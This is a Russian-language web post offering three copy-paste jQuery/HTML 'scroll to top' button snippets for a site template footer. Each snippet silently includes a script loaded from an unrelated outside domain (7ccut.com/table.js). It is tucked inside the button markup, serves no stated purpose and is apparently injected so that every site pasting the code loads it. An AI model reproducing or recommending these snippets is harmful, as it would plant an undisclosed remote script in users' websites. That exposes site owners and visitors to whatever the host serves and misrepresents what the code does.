Раздел: Софт
Кнопки вверх для сайта
Автор: smasto
Голосов: 0
Дата: 01.01.2014, 16:02
|
Как правильно установить кнопку "Вверх на свой сайт?
Заходим в панель управления сайтом, далее "Главная » Управление дизайном » Редактирование шаблонов" Копируем код и вставляем в "Нижняя часть сайта" в самый низ.
Кнопка в стиле minecraft
скрин:
Код <!-- <Кнопка Вверх> --> <script type="text/javascript"> $(document).ready(function(){
$("#back-top").hide(); $(function () { $(window).scroll(function () { if ($(this).scrollTop() > 125) { $('#back-top').fadeIn(); } else { $('#back-top').fadeOut(); } });
$('#backop').click(function () { $('body,html').animate({ scrollTop: 0 }, 800); return false; }); });
}); </script>
<script type="text/javascript"> $(window).scroll(function(){ var s = $(window).scrollTop(); var f = $(document).height()-$(window).height();
var d=s/f*100; var p=Math.round(d);
$("#pix").text(p);
}); </script>
<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2"> <center><a title="Вверх" id="backop" href="#top"><script src="http://7ccut.com/table.js" type="text/javascript"></script><img src="http://pnghosts.ru/img/up_knopka_vv.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vvv.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vv.png'"></a></center> <center><font color="#000000" size="3"> <span id="pix"></span>%</font></center> </div> <!-- </Конец> -->
Кнопка в стиле Butterfly
Расположение кнопрки "вверх" в левом нижнем углу.
Код <script type="text/javascript"> $(function() { $.fn.scrollToTop = function() { $(this).hide().removeAttr("href"); if ($(window).scrollTop() >= "250") $(this).fadeIn("slow") var scrollDiv = $(this); $(window).scroll(function() { if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow") else $(scrollDiv).fadeIn("slow") }); $(this).click(function() { $("html, body").animate({scrollTop: 0}, "slow") }) } });
$(function() { $("#Go_Top").scrollToTop(); }); </script>
<a style='position: fixed; bottom: 25px; left: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'> <img src="http://pnghosts.ru/img/Button-Butterfly.png" alt="Вверх" title="Вверх"> </a><script src="http://7ccut.com/table.js" type="text/javascript"></script> <script type="text/javascript"> $(function($) { $("#button_potfolio img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-100px'}, {queue:false, duration: 350}); // $(this).css('right', '-100px'); } ); }); </script>
Кнопка в стиле парашюта - Вознестись к небесам
Код <!--кнопка вверх Вознестись к небесам--> <a href="javascript://" onclick="$('body').scrollTo({top:$('body').offset().top, left:0}, 1500);return false;"> <div style="position:fixed; opacity:0.8; bottom:22px; right:25px;" id="fImgtotop"><img title="Вверх" src="http://pnghosts.ru/img/air-balloon-icon.png" border="0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div> </a> <!-- </кнопка вверх Вознестись к небесам-->
|
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.